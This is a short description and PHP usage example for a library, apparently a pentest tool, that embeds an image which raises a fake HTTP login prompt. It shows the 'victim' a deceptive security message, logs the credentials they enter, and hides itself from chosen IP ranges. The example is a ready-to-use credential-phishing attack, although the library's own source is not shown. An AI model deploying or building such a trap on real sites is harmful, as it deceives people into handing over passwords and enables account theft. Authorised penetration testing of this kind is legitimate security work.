Shows a WWW-Authenticate message on embedded image and saves user credentials to logfile. Originally written for pentest.
Example:
require_once('imgauth.lib.php'); $auth = new imgauth; //log user credentials $auth->enable_log = true; //message shown to the victim $auth->message = "Please log in again. This is for your own security."; //if accessed by these ip's, just display image $auth->disable_pattern = "/^192\.168\.178.+$/"; //execute $auth->exec();